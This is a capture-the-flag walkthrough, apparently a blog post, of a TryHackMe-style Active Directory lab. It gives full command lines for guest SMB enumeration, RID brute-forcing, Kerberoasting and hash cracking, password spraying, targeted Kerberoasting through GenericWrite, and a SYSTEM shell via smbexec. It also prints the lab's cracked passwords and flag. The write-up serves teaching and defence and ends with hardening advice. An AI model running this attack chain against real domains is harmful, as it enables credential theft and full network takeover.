Difficulty: Medium | Category: Active Directory
Press enter or click to view image in full size
You’ve been handed an IP address and nothing else. No username, no password, no hints. The target is a Windows Domain Controller — the crown jewel of any corporate network. By the end of this walkthrough, you’ll have gone from complete outsider to full Domain Admin, touching every major Active Directory attack technique along the way.
This guide is written for beginners. Every command is explained. Every concept is broken down. Let’s go.
What is Active Directory and Why Does It Matter?
Before diving in, a quick primer. Active Directory (AD) is Microsoft’s system for managing users, computers, and permissions across a corporate network. At the center of it sits a Domain Controller (DC) — a server that handles authentication for everyone in the domain.
If you compromise the Domain Controller, you own the entire network. That’s our goal.
The domain here is thm.local. The DC's hostname is AD.thm.local.
Phase 1 — Port Scanning: What’s Running on This Machine?
Why start with a port scan?
You can’t attack what you can’t see. A port scan tells you which services are running, which gives you your list of potential attack vectors.
Starting with RustScan, finishing with Nmap
Plain Nmap scanning all 65,535 ports is slow. RustScan finds open ports fast, then hands them off to Nmap for deep inspection.
rustscan -b 500 -a <MACHINE_IP> -- -sC -sV -PnFlag breakdown:
-b 500— scan 500 ports at a time (balanced speed vs. reliability)-a <MACHINE_IP>— target IP--— everything after this goes to Nmap-sC— run default Nmap scripts (great for grabbing service info)-sV— detect service versions-Pn— skip ping check (assume the host is up even if it doesn't respond to ICMP)
Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
What the scan reveals
The open ports paint a very clear picture — this is a Windows Domain Controller:
Port Service Why it matters 53 DNS Domain name resolution 80 / 443 IIS Web Server Possible web attack surface 88 / 464 Kerberos Authentication — prime attack target 139 / 445 SMB File sharing — often misconfigured 389 / 636 / 3268 / 3269 LDAP Directory queries — user enumeration 3389 RDP Remote Desktop — login if credentials found 9389 AD Web Services .NET AD management
The scan also reveals the domain name thm.local and hostname AD.thm.local in the certificate details.
Add the domain to your hosts file
Tools need to resolve AD.thm.local by name. Generate the entry automatically and add it to /etc/hosts:
nxc smb <MACHINE_IP> -u 'guest' -p '' --generate-hosts-file hosts
sudo vim /etc/hosts # paste the generated line in<! — INSERT IMAGE 7: generate-hosts-file command output (14–18–34.png) → <! — INSERT IMAGE 8: /etc/hosts updated with the domain entry (14–19–46.png) →
Press enter or click to view image in full size
Press enter or click to view image in full size
Phase 2 — SMB Enumeration: Knocking on the Door as a Guest
What is SMB and why try guest?
SMB (Server Message Block) is Windows’ file sharing protocol. Many Windows machines have a built-in guest account — often left enabled by accident with no password. Even guest-level access can be enough to enumerate the domain.
nxc smb AD.thm.local -u 'guest' -p '' --sharesPress enter or click to view image in full size
Guest authentication succeeds. We can see the share list, and critically — IPC$ is readable.
What is IPC$? It’s a special hidden share used for inter-process communication. Read access to IPC$ is all you need to perform RID brute-forcing — a technique to enumerate every user account in the domain.
RID Brute-Force: Building a User List
Every Windows user has a RID (Relative Identifier) — a unique number assigned to them within the domain. By cycling through RID values over IPC$, we can map them to real usernames:
nxc smb AD.thm.local -u 'guest' -p '' --rid > rid_brute.txtExtract just the usernames from the output:
cat rid_brute.txt | grep "SidTypeUser" | cut -d'\' -f2 | cut -d' ' -f1 > usernames.txtCommand breakdown:
grep "SidTypeUser"— keep only user entries (not groups or computers)cut -d'\' -f2— split on backslash, keep the part after it (DOMAIN\username→username)cut -d' ' -f1— keep just the username, drop everything after the space
You now have a clean list of every domain user. This is your ammunition for the attacks ahead.
Phase 3 — Kerberoasting: Stealing a Password Hash from Kerberos Itself
What is Kerberoasting?
This is one of the most powerful attacks in the Active Directory toolkit. Here’s the concept:
In Windows domains, service accounts (accounts that run services like databases and web servers) are assigned a Service Principal Name (SPN). Any authenticated domain user — including guest — can request a Kerberos service ticket (TGS) for any SPN. That ticket is encrypted with the service account's password hash.
You can’t use the ticket directly, but you can take it offline and crack it with a wordlist. If the service account has a weak password, it’s game over.
nxc ldap AD.thm.local -u guest -p '' --kerberoasting nxc-kerberoasting.txtPress enter or click to view image in full size
NetExec finds one Kerberoastable account: CODY_ROY. The TGS hash is dumped — a long blob starting with $krb5tgs$23$*CODY_ROY$THM.LOCAL$...
Cracking the Hash with Hashcat
Crack it offline:
hashcat -a0 -m13100 nxc-kerberoasting.txt /usr/share/wordlists/rockyou.txt-a0— dictionary attack (try every word in the list)-m13100— hash type: Kerberos 5 TGS-REP etype 23
Press enter or click to view image in full size
Password cracked: MKO)mko0
Why does this work? Service account passwords are set by humans and rarely rotated. Weak passwords like this are extremely common in real enterprise environments.
Verify Access
nxc smb AD.thm.local -u CODY_ROY -p 'MKO)mko0' --sharesPress enter or click to view image in full size
Valid domain credentials. The foothold is established.
Phase 4 — BloodHound: Mapping the Path to Domain Admin
What is BloodHound?
BloodHound is arguably the most important tool in AD pentesting. It collects data about every user, group, computer, and permission in the domain, then visualises it as a graph. It answers the single most important question in lateral movement: “Given what I control right now, what’s the shortest path to Domain Admin?”
Get Hibullahi AbdulAzeez’s stories in your inbox
Join Medium for free to get updates from this writer.
Collect all AD data using CODY_ROY’s credentials:
bloodhound-ce.py --zip -c All -d thm.local -u CODY_ROY -p 'MKO)mko0' -dc AD.thm.local -ns <MACHINE_IP>Import the resulting ZIP into the BloodHound GUI and start exploring.
What BloodHound reveals
Key findings after analysis:
- CODY_ROY has GenericWrite over several users (via the EVERYONE group) — but those users don’t lead anywhere useful.
- ZACHARY_HUNT has GenericWrite over JERRI_LANCASTER — this is critical.
- JERRI_LANCASTER is a member of Remote Desktop Users — meaning we can RDP in with her credentials once we get them.
- SANFORD_DAUGHERTY is a Domain Admin.
The attack chain is now visible. We just need to connect the dots, one step at a time.
Phase 5 — Password Spraying: One Password, Many Users
The logic behind password spraying
We have one cracked password: MKO)mko0. It's worth trying against every user in the domain — password reuse is one of the most common misconfigurations in enterprise environments.
Important distinction: Password spraying tries one password against many accounts. Password brute-forcing tries many passwords against one account. Brute-forcing triggers account lockouts. Spraying stays under the lockout threshold.
First get a clean user list from LDAP now that we have credentials:
nxc ldap AD.thm.local -u 'cody_roy' -p 'MKO)mko0' --users | grep "LDAP" | awk '{print $5}' > users.txtThen spray:
nxc smb AD.thm.local -u users.txt -p 'MKO)mko0' --continue-on-success-u users.txt— test every username in the file-p 'MKO)mko0'— the one password we're trying--continue-on-success— don't stop at the first match, keep going
Hit: ZACHARY_HUNT is also using MKO)mko0.
Two domain accounts, one password. This is exactly why password policies, rotation schedules, and password managers matter in enterprise environments.
Phase 6 — Targeted Kerberoasting: Abusing GenericWrite to Get JERRI_LANCASTER
What is GenericWrite and why is it dangerous?
GenericWrite is an Active Directory permission that lets you modify attributes on another user’s AD object. This enables a technique called Targeted Kerberoasting.
Here’s the step-by-step logic:
- An account is only Kerberoastable if it has an SPN set.
- With GenericWrite, you can add a fake SPN to any target account.
- Once the SPN exists, you can request a TGS ticket for it.
- Crack the ticket offline to recover the password.
- (The tool also cleans up the fake SPN afterwards.)
ZACHARY_HUNT has GenericWrite over JERRI_LANCASTER. We exploit it:
python3 targetedKerberoast.py -v -d 'thm.local' -u 'ZACHARY_HUNT' -p 'MKO)mko0' \
--dc-host AD.thm.local --request-user JERRI_LANCASTERFlag breakdown:
-v— verbose mode, shows each step as it happens-d 'thm.local'— the domain-u / -p— ZACHARY_HUNT's credentials (our current access)--dc-host— points at the domain controller--request-user— the account we're targeting
Save the extracted hash and crack it:
hashcat -a0 -m13100 jerri_lancaster.blob /usr/share/wordlists/rockyou.txtPassword cracked: lovinlife!
Verify:
nxc smb AD.thm.local -u JERRI_LANCASTER -p 'lovinlife!' --sharesThree accounts down. One more hop to Domain Admin.
Phase 7 — RDP as JERRI_LANCASTER: Finding Credentials in a Script
Connecting via Remote Desktop
JERRI_LANCASTER is in the Remote Desktop Users group:
xfreerdp3 /v:AD.thm.local /u:'jerri_lancaster' /p:'lovinlife!' /dynamic-resolution /clipboard /cert:ignoreThe desktop environment is locked down — you can’t open Explorer or most applications. But there’s always a way. Press Windows+R to open the Run dialog, type cmd, hit Enter. You have a command shell.
This is a common pattern in real corporate environments. IT restricts the GUI, but forgets that a command prompt bypasses most of those restrictions entirely.
The C:\Scripts Directory
Earlier, when we had access as CODY_ROY, there was a C:\Scripts folder on C:\ that returned "Access Denied". JERRI_LANCASTER has read access.
dir C:\Scripts
type C:\Scripts\syncer.ps1Inside the PowerShell script: plaintext credentials for SANFORD_DAUGHERTY.
Password: RESET_ASAP123A developer left credentials hardcoded in a synchronisation script — probably to automate a task, probably years ago, probably forgotten. In a real pentest, this is a critical finding. For us, it’s the key to Domain Admin.
Phase 8 — SANFORD_DAUGHERTY: Reaching Domain Admin and Capturing the Flag
Verify the credentials
nxc smb AD.thm.local -u 'sanford_daugherty' -p 'RESET_ASAP123'The output shows (Pwn3d!) — SANFORD_DAUGHERTY is a local administrator on the Domain Controller, and BloodHound confirmed this user is a Domain Admin.
Getting a shell with smbexec
Rather than fighting the restricted RDP environment again, use Impacket’s smbexec to spawn a SYSTEM-level shell directly:
smbexec.py 'THM.LOCAL/SANFORD_DAUGHERTY:[email protected]'smbexec creates a temporary service on the remote machine, executes your commands through it as SYSTEM, then cleans up. No GUI needed, no UAC prompts, no restrictions.
Read the flag:
type C:\Users\Administrator\Desktop\flag.txtTHM{INFILTRATION_COMPLETE_OUR_COMMAND_OVER_NETWORK_ASSERTS}Domain owned.
Full Attack Chain
RustScan + Nmap → identify Domain Controller (thm.local)
↓
Guest SMB access → IPC$ readable
↓
RID brute-force → full domain user list
↓
Kerberoasting as guest → CODY_ROY TGS hash cracked → MKO)mko0
↓
BloodHound with CODY_ROY → map permission graph
↓
Password spray → ZACHARY_HUNT reuses MKO)mko0
↓
ZACHARY_HUNT has GenericWrite over JERRI_LANCASTER
↓
Targeted Kerberoasting → JERRI_LANCASTER hash cracked → lovinlife!
↓
RDP as JERRI_LANCASTER → read C:\Scripts\syncer.ps1
↓
Plaintext creds: SANFORD_DAUGHERTY : RESET_ASAP123
↓
smbexec as Domain Admin → flagKey Takeaways
- Guest accounts with IPC$ access are dangerous. Even a blank-password guest can enumerate the entire domain via RID brute-force. Disable guest accounts.
- Kerberoasting requires no special permissions. Any authenticated user can request service tickets. Weak service account passwords are a critical risk — use long, random passwords and rotate them.
- Password reuse is endemic. One cracked password unlocked two accounts. Enforce unique passwords and consider a privileged access management (PAM) solution.
- BloodHound is non-negotiable. The GenericWrite → Targeted Kerberoast path would have been invisible without it. Run it every time you have any valid credentials.
- Hardcoded credentials in scripts are a critical vulnerability.
syncer.ps1handed us Domain Admin. Secrets belong in vaults — not scripts, not comments, notrobots.txt. - Restricted desktops don’t stop attackers. Windows+R and a CMD shell bypass most GUI lockdowns. If you give someone RDP, assume they can run commands.
Happy Ethical Hacking — always practice in authorized environments only.
Press enter or click to view image in full size